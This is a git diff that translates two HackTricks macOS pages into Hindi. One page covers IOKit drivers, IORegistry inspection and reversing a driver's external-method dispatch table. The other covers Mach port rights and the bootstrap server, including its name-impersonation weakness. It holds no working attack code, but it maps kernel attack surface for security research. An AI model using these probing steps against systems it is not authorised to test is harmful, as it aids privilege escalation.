ऑब्जेक्ट-ओरिएंटेड **डिवाइस-ड्राइवर ढांचा** है जो XNU कर्नेल में है, जो **डायनामिक रूप से लोड किए गए डिवाइस ड्राइवरों** को संभालता है। यह कर्नेल में ऑन-द-फ्लाई मॉड्यूलर कोड जोड़ने की अनुमति देता है, जो विविध हार्डवेयर का समर्थन करता है। -IOKit drivers will basically **export functions from the kernel**. These function parameter **types** are **predefined** and are verified. Moreover, similar to XPC, IOKit is just another layer on **top of Mach messages**. +IOKit ड्राइवर मूल रूप से **कर्नेल से फ़ंक्शन निर्यात करेंगे**। इन फ़ंक्शन पैरामीटर **प्रकार** **पूर्व-परिभाषित** होते हैं और सत्यापित किए जाते हैं। इसके अलावा, XPC के समान, IOKit **Mach संदेशों** के **ऊपर** एक और परत है। -**IOKit XNU kernel code** is opensourced by Apple in [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit). Moreover, the user space IOKit components are also opensource [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser). +**IOKit XNU कर्नेल कोड** को Apple द्वारा [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit) पर ओपनसोर्स किया गया है। इसके अलावा, उपयोगकर्ता स्थान IOKit घटक भी ओपनसोर्स हैं [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser)। -However, **no IOKit drivers** are opensource. Anyway, from time to time a release of a driver might come with symbols that makes it easier to debug it. Check how to [**get the driver extensions from the firmware here**](./#ipsw)**.** - -It's written in **C++**. You can get demangled C++ symbols with: +हालांकि, **कोई IOKit ड्राइवर** ओपनसोर्स नहीं हैं। फिर भी, समय-समय पर एक ड्राइवर का रिलीज़ ऐसे प्रतीकों के साथ आ सकता है जो इसे डिबग करना आसान बनाते हैं। यहाँ देखें कि [**फर्मवेयर से ड्राइवर एक्सटेंशन कैसे प्राप्त करें**](./#ipsw)**।** +यह **C++** में लिखा गया है। आप demangled C++ प्रतीकों को प्राप्त कर सकते हैं: ```bash # Get demangled symbols nm -C com.apple.driver.AppleJPEGDriver @@ -23,210 +22,193 @@ c++filt __ZN16IOUserClient202222dispatchExternalMethodEjP31IOExternalMethodArgumentsOpaquePK28IOExternalMethodDispatch2022mP8OSObjectPv IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*) ``` - > [!CAUTION] -> IOKit **exposed functions** could perform **additional security checks** when a client tries to call a function but note that the apps are usually **limited** by the **sandbox** to which IOKit functions they can interact with. +> IOKit **exposed functions** अतिरिक्त **सुरक्षा जांच** कर सकते हैं जब एक क्लाइंट एक फ़ंक्शन को कॉल करने की कोशिश करता है लेकिन ध्यान दें कि ऐप्स आमतौर पर **sandbox** द्वारा **सीमित** होते हैं कि वे IOKit फ़ंक्शंस के साथ किस प्रकार इंटरैक्ट कर सकते हैं। -## Drivers +## ड्राइवर -In macOS they are located in: +macOS में ये स्थित हैं: - **`/System/Library/Extensions`** - - KEXT files built into the OS X operating system. +- KEXT फ़ाइलें जो OS X ऑपरेटिंग सिस्टम में निर्मित हैं। - **`/Library/Extensions`** - - KEXT files installed by 3rd party software +- KEXT फ़ाइलें जो 3rd पार्टी सॉफ़्टवेयर द्वारा स्थापित की गई हैं। -In iOS they are located in: +iOS में ये स्थित हैं: - **`/System/Library/Extensions`** - ```bash #Use kextstat to print the loaded drivers kextstat Executing: /usr/bin/kmutil showloaded No variant specified, falling back to release Index Refs Address Size Wired Name (Version) UUID - 1 142 0 0 0 com.apple.kpi.bsd (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 2 11 0 0 0 com.apple.kpi.dsep (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 3 170 0 0 0 com.apple.kpi.iokit (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 4 0 0 0 0 com.apple.kpi.kasan (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 5 175 0 0 0 com.apple.kpi.libkern (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 6 154 0 0 0 com.apple.kpi.mach (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 7 88 0 0 0 com.apple.kpi.private (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 8 106 0 0 0 com.apple.kpi.unsupported (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 9 2 0xffffff8003317000 0xe000 0xe000 com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5> - 10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1> +1 142 0 0 0 com.apple.kpi.bsd (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +2 11 0 0 0 com.apple.kpi.dsep (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +3 170 0 0 0 com.apple.kpi.iokit (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +4 0 0 0 0 com.apple.kpi.kasan (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +5 175 0 0 0 com.apple.kpi.libkern (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +6 154 0 0 0 com.apple.kpi.mach (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +7 88 0 0 0 com.apple.kpi.private (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +8 106 0 0 0 com.apple.kpi.unsupported (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +9 2 0xffffff8003317000 0xe000 0xe000 com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5> +10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1> ``` +9 तक सूचीबद्ध ड्राइवर **पता 0 में लोड होते हैं**। इसका मतलब है कि वे असली ड्राइवर नहीं हैं बल्कि **कर्नेल का हिस्सा हैं और इन्हें अनलोड नहीं किया जा सकता**। -Until the number 9 the listed drivers are **loaded in the address 0**. This means that those aren't real drivers but **part of the kernel and they cannot be unloaded**. - -In order to find specific extensions you can use: - +विशिष्ट एक्सटेंशन खोजने के लिए आप उपयोग कर सकते हैं: ```bash kextfind -bundle-id com.apple.iokit.IOReportFamily #Search by full bundle-id kextfind -bundle-id -substring IOR #Search by substring in bundle-id ``` - -To load and unload kernel extensions do: - +कर्नेल एक्सटेंशन को लोड और अनलोड करने के लिए करें: ```bash kextload com.apple.iokit.IOReportFamily kextunload com.apple.iokit.IOReportFamily ``` - ## IORegistry -The **IORegistry** is a crucial part of the IOKit framework in macOS and iOS which serves as a database for representing the system's hardware configuration and state. It's a **hierarchical collection of objects that represent all the hardware and drivers** loaded on the system, and their relationships to each other. - -You can get the IORegistry using the cli **`ioreg`** to inspect it from the console (specially useful for iOS). +**IORegistry** macOS और iOS में IOKit ढांचे का एक महत्वपूर्ण हिस्सा है जो सिस्टम की हार्डवेयर कॉन्फ़िगरेशन और स्थिति का प्रतिनिधित्व करने के लिए एक डेटाबेस के रूप में कार्य करता है। यह **वस्तुओं का एक पदानुक्रमित संग्रह है जो सिस्टम पर लोड किए गए सभी हार्डवेयर और ड्राइवरों का प्रतिनिधित्व करता है, और उनके बीच के संबंधों को** दर्शाता है। +आप IORegistry को cli **`ioreg`** का उपयोग करके कंसोल से निरीक्षण कर सकते हैं (विशेष रूप से iOS के लिए उपयोगी)। ```bash ioreg -l #List all ioreg -w 0 #Not cut lines ioreg -p #Check other plane ``` - -You could download **`IORegistryExplorer`** from **Xcode Additional Tools** from [**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/) and inspect the **macOS IORegistry** through a **graphical** interface. +आप **`IORegistryExplorer`** को **Xcode Additional Tools** से [**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/) से डाउनलोड कर सकते हैं और **macOS IORegistry** का निरीक्षण **ग्राफिकल** इंटरफेस के माध्यम से कर सकते हैं।
-In IORegistryExplorer, "planes" are used to organize and display the relationships between different objects in the IORegistry. Each plane represents a specific type of relationship or a particular view of the system's hardware and driver configuration. Here are some of the common planes you might encounter in IORegistryExplorer: +IORegistryExplorer में, "planes" का उपयोग IORegistry में विभिन्न वस्तुओं के बीच संबंधों को व्यवस्थित और प्रदर्शित करने के लिए किया जाता है। प्रत्येक plane एक विशिष्ट प्रकार के संबंध या सिस्टम के हार्डवेयर और ड्राइवर कॉन्फ़िगरेशन का एक विशेष दृश्य दर्शाता है। यहाँ कुछ सामान्य planes हैं जिनका आप IORegistryExplorer में सामना कर सकते हैं: -1. **IOService Plane**: This is the most general plane, displaying the service objects that represent drivers and nubs (communication channels between drivers). It shows the provider-client relationships between these objects. -2. **IODeviceTree Plane**: This plane represents the physical connections between devices as they are attached to the system. It is often used to visualize the hierarchy of devices connected via buses like USB or PCI. -3. **IOPower Plane**: Displays objects and their relationships in terms of power management. It can show which objects are affecting the power state of others, useful for debugging power-related issues. -4. **IOUSB Plane**: Specifically focused on USB devices and their relationships, showing the hierarchy of USB hubs and connected devices. -5. **IOAudio Plane**: This plane is for representing audio devices and their relationships within the system. +1. **IOService Plane**: यह सबसे सामान्य plane है, जो सेवा वस्तुओं को प्रदर्शित करता है जो ड्राइवरों और नब्स (ड्राइवरों के बीच संचार चैनल) का प्रतिनिधित्व करते हैं। यह इन वस्तुओं के बीच प्रदाता-ग्राहक संबंधों को दिखाता है। +2. **IODeviceTree Plane**: यह plane उन उपकरणों के बीच भौतिक कनेक्शनों का प्रतिनिधित्व करता है जब वे सिस्टम से जुड़े होते हैं। इसका उपयोग अक्सर USB या PCI जैसे बसों के माध्यम से जुड़े उपकरणों की पदानुक्रम को दृश्य बनाने के लिए किया जाता है। +3. **IOPower Plane**: यह पावर प्रबंधन के संदर्भ में वस्तुओं और उनके संबंधों को प्रदर्शित करता है। यह दिखा सकता है कि कौन सी वस्तुएं अन्य की पावर स्थिति को प्रभावित कर रही हैं, जो पावर से संबंधित मुद्दों को डिबग करने के लिए उपयोगी है। +4. **IOUSB Plane**: विशेष रूप से USB उपकरणों और उनके संबंधों पर केंद्रित, USB हब और जुड़े उपकरणों की पदानुक्रम को दिखाता है। +5. **IOAudio Plane**: यह plane ऑडियो उपकरणों और उनके संबंधों का प्रतिनिधित्व करने के लिए है। 6. ... ## Driver Comm Code Example -The following code connects to the IOKit service `"YourServiceNameHere"` and calls the function inside the selector 0. For it: - -- it first calls **`IOServiceMatching`** and **`IOServiceGetMatchingServices`** to get the service. -- It then establish a connection calling **`IOServiceOpen`**. -- And it finally calls a function with **`IOConnectCallScalarMethod`** indicating the selector 0 (the selector is the number the function you want to call has assigned). +निम्नलिखित कोड IOKit सेवा `"YourServiceNameHere"` से कनेक्ट करता है और चयनकर्ता 0 के अंदर फ़ंक्शन को कॉल करता है। इसके लिए: +- यह पहले **`IOServiceMatching`** और **`IOServiceGetMatchingServices`** को कॉल करता है ताकि सेवा प्राप्त की जा सके। +- फिर यह **`IOServiceOpen`** को कॉल करके एक कनेक्शन स्थापित करता है। +- और अंत में **`IOConnectCallScalarMethod`** के साथ एक फ़ंक्शन को कॉल करता है जो चयनकर्ता 0 को इंगित करता है (चयनकर्ता वह संख्या है जो आप जिस फ़ंक्शन को कॉल करना चाहते हैं उसे सौंपा गया है)। ```objectivec #import #import int main(int argc, const char * argv[]) { - @autoreleasepool { - // Get a reference to the service using its name - CFMutableDictionaryRef matchingDict = IOServiceMatching("YourServiceNameHere"); - if (matchingDict == NULL) { - NSLog(@"Failed to create matching dictionary"); - return -1; - } +@autoreleasepool { +// Get a reference to the service using its name +CFMutableDictionaryRef matchingDict = IOServiceMatching("YourServiceNameHere"); +if (matchingDict == NULL) { +NSLog(@"Failed to create matching dictionary"); +return -1; +} - // Obtain an iterator over all matching services - io_iterator_t iter; - kern_return_t kr = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &iter); - if (kr != KERN_SUCCESS) { - NSLog(@"Failed to get matching services"); - return -1; - } +// Obtain an iterator over all matching services +io_iterator_t iter; +kern_return_t kr = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &iter); +if (kr != KERN_SUCCESS) { +NSLog(@"Failed to get matching services"); +return -1; +} - // Get a reference to the first service (assuming it exists) - io_service_t service = IOIteratorNext(iter); - if (!service) { - NSLog(@"No matching service found"); - IOObjectRelease(iter); - return -1; - } +// Get a reference to the first service (assuming it exists) +io_service_t service = IOIteratorNext(iter); +if (!service) { +NSLog(@"No matching service found"); +IOObjectRelease(iter); +return -1; +} - // Open a connection to the service - io_connect_t connect; - kr = IOServiceOpen(service, mach_task_self(), 0, &connect); - if (kr != KERN_SUCCESS) { - NSLog(@"Failed to open service"); - IOObjectRelease(service); - IOObjectRelease(iter); - return -1; - } +// Open a connection to the service +io_connect_t connect; +kr = IOServiceOpen(service, mach_task_self(), 0, &connect); +if (kr != KERN_SUCCESS) { +NSLog(@"Failed to open service"); +IOObjectRelease(service); +IOObjectRelease(iter); +return -1; +} - // Call a method on the service - // Assume the method has a selector of 0, and takes no arguments - kr = IOConnectCallScalarMethod(connect, 0, NULL, 0, NULL, NULL); - if (kr != KERN_SUCCESS) { - NSLog(@"Failed to call method"); - } +// Call a method on the service +// Assume the method has a selector of 0, and takes no arguments +kr = IOConnectCallScalarMethod(connect, 0, NULL, 0, NULL, NULL); +if (kr != KERN_SUCCESS) { +NSLog(@"Failed to call method"); +} - // Cleanup - IOServiceClose(connect); - IOObjectRelease(service); - IOObjectRelease(iter); - } - return 0; +// Cleanup +IOServiceClose(connect); +IOObjectRelease(service); +IOObjectRelease(iter); +} +return 0; } ``` +अन्य कार्य हैं जिन्हें **`IOConnectCallScalarMethod`** के अलावा IOKit कार्यों को कॉल करने के लिए उपयोग किया जा सकता है जैसे **`IOConnectCallMethod`**, **`IOConnectCallStructMethod`**... -There are **other** functions that can be used to call IOKit functions apart of **`IOConnectCallScalarMethod`** like **`IOConnectCallMethod`**, **`IOConnectCallStructMethod`**... +## ड्राइवर एंट्रीपॉइंट को रिवर्स करना -## Reversing driver entrypoint +आप इन्हें उदाहरण के लिए [**फर्मवेयर इमेज (ipsw)**](./#ipsw) से प्राप्त कर सकते हैं। फिर, इसे अपने पसंदीदा डिकंपाइलर में लोड करें। -You could obtain these for example from a [**firmware image (ipsw)**](./#ipsw). Then, load it into your favourite decompiler. - -You could start decompiling the **`externalMethod`** function as this is the driver function that will be receiving the call and calling the correct function: +आप **`externalMethod`** कार्य को डिकंपाइल करना शुरू कर सकते हैं क्योंकि यह वह ड्राइवर कार्य है जो कॉल प्राप्त करेगा और सही कार्य को कॉल करेगा:
-That awful call demagled means: - +उस भयानक कॉल का डेमैग्लेड मतलब है: ```cpp IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*) ``` - -Note how in the previous definition the **`self`** param is missed, the good definition would be: - +ध्यान दें कि पिछले परिभाषा में **`self`** पैरामीटर गायब है, सही परिभाषा होगी: ```cpp IOUserClient2022::dispatchExternalMethod(self, unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*) ``` - -Actually, you can find the real definition in [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388): - +वास्तव में, आप असली परिभाषा [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388) में पा सकते हैं: ```cpp IOUserClient2022::dispatchExternalMethod(uint32_t selector, IOExternalMethodArgumentsOpaque *arguments, - const IOExternalMethodDispatch2022 dispatchArray[], size_t dispatchArrayCount, - OSObject * target, void * reference) +const IOExternalMethodDispatch2022 dispatchArray[], size_t dispatchArrayCount, +OSObject * target, void * reference) ``` - -With this info you can rewrite Ctrl+Right -> `Edit function signature` and set the known types: +इस जानकारी के साथ आप Ctrl+Right -> `Edit function signature` को फिर से लिख सकते हैं और ज्ञात प्रकार सेट कर सकते हैं:
-The new decompiled code will look like: +नया डिकंपाइल किया गया कोड इस तरह दिखेगा:
-For the next step we need to have defined the **`IOExternalMethodDispatch2022`** struct. It's opensource in [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176), you could define it: +अगले चरण के लिए हमें **`IOExternalMethodDispatch2022`** संरचना को परिभाषित करना होगा। यह ओपनसोर्स है [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176), आप इसे परिभाषित कर सकते हैं:
-Now, following the `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray` you can see a lot of data: +अब, `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray` के बाद आप बहुत सारे डेटा देख सकते हैं:
-Change the Data Type to **`IOExternalMethodDispatch2022:`** +डेटा प्रकार को **`IOExternalMethodDispatch2022:`** में बदलें:
-after the change: +बदलाव के बाद:
-And as we now in there we have an **array of 7 elements** (check the final decompiled code), click to create an array of 7 elements: +और जैसा कि हम अब वहां हैं, हमारे पास **7 तत्वों का एक एरे** है (अंतिम डिकंपाइल किए गए कोड की जांच करें), 7 तत्वों का एक एरे बनाने के लिए क्लिक करें:
-After the array is created you can see all the exported functions: +एरे बनने के बाद आप सभी निर्यातित कार्यों को देख सकते हैं:
> [!TIP] -> If you remember, to **call** an **exported** function from user space we don't need to call the name of the function, but the **selector number**. Here you can see that the selector **0** is the function **`initializeDecoder`**, the selector **1** is **`startDecoder`**, the selector **2** **`initializeEncoder`**... +> यदि आप याद रखें, तो उपयोगकर्ता स्थान से एक **निर्यातित** कार्य को **call** करने के लिए हमें कार्य का नाम नहीं, बल्कि **selector number** को कॉल करने की आवश्यकता होती है। यहां आप देख सकते हैं कि selector **0** कार्य **`initializeDecoder`** है, selector **1** **`startDecoder`** है, selector **2** **`initializeEncoder`** है... {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md index c62c79223..a7234aef9 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md @@ -1,113 +1,108 @@ -# macOS IPC - Inter Process Communication +# macOS IPC - इंटर प्रोसेस संचार {{#include ../../../../banners/hacktricks-training.md}} -## Mach messaging via Ports +## मच संदेश भेजना पोर्ट के माध्यम से -### Basic Information +### बुनियादी जानकारी -Mach uses **tasks** as the **smallest unit** for sharing resources, and each task can contain **multiple threads**. These **tasks and threads are mapped 1:1 to POSIX processes and threads**. +मच **कार्य** को संसाधनों को साझा करने के लिए **सबसे छोटे इकाई** के रूप में उपयोग करता है, और प्रत्येक कार्य में **कई थ्रेड** हो सकते हैं। ये **कार्य और थ्रेड POSIX प्रक्रियाओं और थ्रेड्स के लिए 1:1 मैप किए जाते हैं**। -Communication between tasks occurs via Mach Inter-Process Communication (IPC), utilising one-way communication channels. **Messages are transferred between ports**, which act like **message queues** managed by the kernel. +कार्य के बीच संचार मच इंटर-प्रोसेस संचार (IPC) के माध्यम से होता है, जो एकतरफा संचार चैनलों का उपयोग करता है। **संदेश पोर्ट के बीच स्थानांतरित होते हैं**, जो **कर्नेल द्वारा प्रबंधित संदेश कतारों** के रूप में कार्य करते हैं। -Each process has an **IPC table**, in there it's possible to find the **mach ports of the process**. The name of a mach port is actually a number (a pointer to the kernel object). +प्रत्येक प्रक्रिया में एक **IPC तालिका** होती है, जिसमें प्रक्रिया के **मच पोर्ट** पाए जा सकते हैं। एक मच पोर्ट का नाम वास्तव में एक संख्या है (कर्नेल ऑब्जेक्ट के लिए एक पॉइंटर)। -A process can also send a port name with some rights **to a different task** and the kernel will make this entry in the **IPC table of the other task** appear. +एक प्रक्रिया किसी अन्य कार्य को कुछ अधिकारों के साथ एक पोर्ट नाम भी भेज सकती है और कर्नेल इस प्रविष्टि को **दूसरे कार्य की IPC तालिका** में प्रदर्शित करेगा। -### Port Rights +### पोर्ट अधिकार -Port rights, which define what operations a task can perform, are key to this communication. The possible **port rights** are ([definitions from here](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)): +पोर्ट अधिकार, जो यह परिभाषित करते हैं कि एक कार्य कौन से संचालन कर सकता है, इस संचार के लिए कुंजी हैं। संभावित **पोर्ट अधिकार** हैं ([यहां से परिभाषाएँ](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)): -- **Receive right**, which allows receiving messages sent to the port. Mach ports are MPSC (multiple-producer, single-consumer) queues, which means that there may only ever be **one receive right for each port** in the whole system (unlike with pipes, where multiple processes can all hold file descriptors to the read end of one pipe). - - A **task with the Receive** right can receive messages and **create Send rights**, allowing it to send messages. Originally only the **own task has Receive right over its por**t. -- **Send right**, which allows sending messages to the port. - - The Send right can be **cloned** so a task owning a Send right can clone the right and **grant it to a third task**. -- **Send-once right**, which allows sending one message to the port and then disappears. -- **Port set right**, which denotes a _port set_ rather than a single port. Dequeuing a message from a port set dequeues a message from one of the ports it contains. Port sets can be used to listen on several ports simultaneously, a lot like `select`/`poll`/`epoll`/`kqueue` in Unix. -- **Dead name**, which is not an actual port right, but merely a placeholder. When a port is destroyed, all existing port rights to the port turn into dead names. +- **प्राप्ति अधिकार**, जो पोर्ट पर भेजे गए संदेशों को प्राप्त करने की अनुमति देता है। मच पोर्ट MPSC (कई उत्पादक, एक उपभोक्ता) कतारें हैं, जिसका अर्थ है कि पूरे सिस्टम में **प्रत्येक पोर्ट के लिए केवल एक प्राप्ति अधिकार** हो सकता है (पाइप के विपरीत, जहां कई प्रक्रियाएं एक पाइप के पढ़ने के अंत के लिए फ़ाइल वर्णनकर्ता रख सकती हैं)। +- **प्राप्ति** अधिकार वाला एक कार्य संदेश प्राप्त कर सकता है और **भेजने के अधिकार** बना सकता है, जिससे यह संदेश भेजने में सक्षम हो जाता है। मूल रूप से केवल **स्वयं का कार्य अपने पोर्ट पर प्राप्ति अधिकार रखता है**। +- **भेजने का अधिकार**, जो पोर्ट पर संदेश भेजने की अनुमति देता है। +- भेजने का अधिकार **क्लोन** किया जा सकता है ताकि एक कार्य जो भेजने का अधिकार रखता है, अधिकार को क्लोन कर सके और **इसे तीसरे कार्य को सौंप सके**। +- **एक बार भेजने का अधिकार**, जो पोर्ट पर एक संदेश भेजने की अनुमति देता है और फिर गायब हो जाता है। +- **पोर्ट सेट अधिकार**, जो एक _पोर्ट सेट_ को दर्शाता है न कि एकल पोर्ट। एक पोर्ट सेट से संदेश को डीक्यू करने का अर्थ है कि यह उस पोर्ट में से एक संदेश को डीक्यू करता है जो इसे शामिल करता है। पोर्ट सेट का उपयोग एक साथ कई पोर्ट पर सुनने के लिए किया जा सकता है, जैसे कि Unix में `select`/`poll`/`epoll`/`kqueue`। +- **मृत नाम**, जो वास्तव में एक पोर्ट अधिकार नहीं है, बल्कि केवल एक प्लेसहोल्डर है। जब एक पोर्ट नष्ट होता है, तो पोर्ट के लिए सभी मौजूदा पोर्ट अधिकार मृत नामों में बदल जाते हैं। -**Tasks can transfer SEND rights to others**, enabling them to send messages back. **SEND rights can also be cloned, so a task can duplicate and give the right to a third task**. This, combined with an intermediary process known as the **bootstrap server**, allows for effective communication between tasks. +**कार्य SEND अधिकारों को दूसरों को स्थानांतरित कर सकते हैं**, जिससे उन्हें संदेश वापस भेजने की अनुमति मिलती है। **SEND अधिकारों को भी क्लोन किया जा सकता है, इसलिए एक कार्य डुप्लिकेट कर सकता है और तीसरे कार्य को अधिकार दे सकता है**। यह, एक मध्यवर्ती प्रक्रिया के साथ मिलकर जिसे **बूटस्ट्रैप सर्वर** कहा जाता है, कार्यों के बीच प्रभावी संचार की अनुमति देता है। -### File Ports +### फ़ाइल पोर्ट -File ports allows to encapsulate file descriptors in Mac ports (using Mach port rights). It's possible to create a `fileport` from a given FD using `fileport_makeport` and create a FD froma. fileport using `fileport_makefd`. +फ़ाइल पोर्ट मैक पोर्ट्स में फ़ाइल वर्णनकर्ताओं को संलग्न करने की अनुमति देते हैं (मच पोर्ट अधिकारों का उपयोग करते हुए)। एक दिए गए FD से `fileport_makeport` का उपयोग करके एक `fileport` बनाना संभव है और एक fileport से FD बनाने के लिए `fileport_makefd` का उपयोग करना संभव है। -### Establishing a communication +### संचार स्थापित करना -#### Steps: +#### चरण: -As it's mentioned, in order to establish the communication channel, the **bootstrap server** (**launchd** in mac) is involved. +जैसा कि उल्लेख किया गया है, संचार चैनल स्थापित करने के लिए, **बूटस्ट्रैप सर्वर** (**launchd** मैक में) शामिल होता है। -1. Task **A** initiates a **new port**, obtaining a **RECEIVE right** in the process. -2. Task **A**, being the holder of the RECEIVE right, **generates a SEND right for the port**. -3. Task **A** establishes a **connection** with the **bootstrap server**, providing the **port's service name** and the **SEND right** through a procedure known as the bootstrap register. -4. Task **B** interacts with the **bootstrap server** to execute a bootstrap **lookup for the service** name. If successful, the **server duplicates the SEND right** received from Task A and **transmits it to Task B**. -5. Upon acquiring a SEND right, Task **B** is capable of **formulating** a **message** and dispatching it **to Task A**. -6. For a bi-directional communication usually task **B** generates a new port with a **RECEIVE** right and a **SEND** right, and gives the **SEND right to Task A** so it can send messages to TASK B (bi-directional communication). +1. कार्य **A** एक **नया पोर्ट** आरंभ करता है, प्रक्रिया में एक **प्राप्ति अधिकार** प्राप्त करता है। +2. कार्य **A**, जो प्राप्ति अधिकार का धारक है, **पोर्ट के लिए एक भेजने का अधिकार उत्पन्न करता है**। +3. कार्य **A** **बूटस्ट्रैप सर्वर** के साथ एक **संयोग** स्थापित करता है, **पोर्ट के सेवा नाम** और **भेजने के अधिकार** को बूटस्ट्रैप रजिस्टर के रूप में ज्ञात प्रक्रिया के माध्यम से प्रदान करता है। +4. कार्य **B** **बूटस्ट्रैप सर्वर** के साथ बातचीत करता है ताकि सेवा नाम के लिए बूटस्ट्रैप **लुकअप** को निष्पादित किया जा सके। यदि सफल होता है, तो **सर्वर कार्य A से प्राप्त SEND अधिकार को डुप्लिकेट करता है** और **इसे कार्य B को संप्रेषित करता है**। +5. SEND अधिकार प्राप्त करने पर, कार्य **B** **एक संदेश तैयार करने** और **कार्य A** को भेजने में सक्षम होता है। +6. द्विदिशीय संचार के लिए आमतौर पर कार्य **B** एक नए पोर्ट के साथ एक **प्राप्ति** अधिकार और एक **भेजने** का अधिकार उत्पन्न करता है, और **भेजने का अधिकार कार्य A को देता है** ताकि वह कार्य B को संदेश भेज सके (द्विदिशीय संचार)। -The bootstrap server **cannot authenticate** the service name claimed by a task. This means a **task** could potentially **impersonate any system task**, such as falsely **claiming an authorization service name** and then approving every request. +बूटस्ट्रैप सर्वर **सेवा नाम** का प्रमाणीकरण नहीं कर सकता है जो एक कार्य द्वारा दावा किया गया है। इसका अर्थ है कि एक **कार्य** संभावित रूप से **किसी भी सिस्टम कार्य का अनुकरण** कर सकता है, जैसे कि झूठा **प्राधिकरण सेवा नाम का दावा करना** और फिर हर अनुरोध को मंजूरी देना। -Then, Apple stores the **names of system-provided services** in secure configuration files, located in **SIP-protected** directories: `/System/Library/LaunchDaemons` and `/System/Library/LaunchAgents`. Alongside each service name, the **associated binary is also stored**. The bootstrap server, will create and hold a **RECEIVE right for each of these service names**. +फिर, Apple **सिस्टम-प्रदत्त सेवाओं के नाम** को सुरक्षित कॉन्फ़िगरेशन फ़ाइलों में संग्रहीत करता है, जो **SIP-सुरक्षित** निर्देशिकाओं में स्थित होते हैं: `/System/Library/LaunchDaemons` और `/System/Library/LaunchAgents`। प्रत्येक सेवा नाम के साथ, **संबंधित बाइनरी भी संग्रहीत होती है**। बूटस्ट्रैप सर्वर, इन सेवा नामों में से प्रत्येक के लिए एक **प्राप्ति अधिकार** बनाएगा और रखेगा। -For these predefined services, the **lookup process differs slightly**. When a service name is being looked up, launchd starts the service dynamically. The new workflow is as follows: +इन पूर्वनिर्धारित सेवाओं के लिए, **लुकअप प्रक्रिया थोड़ी भिन्न होती है**। जब एक सेवा नाम की खोज की जा रही होती है, तो launchd सेवा को गतिशील रूप से शुरू करता है। नया कार्यप्रवाह इस प्रकार है: -- Task **B** initiates a bootstrap **lookup** for a service name. -- **launchd** checks if the task is running and if it isn’t, **starts** it. -- Task **A** (the service) performs a **bootstrap check-in**. Here, the **bootstrap** server creates a SEND right, retains it, and **transfers the RECEIVE right to Task A**. -- launchd duplicates the **SEND right and sends it to 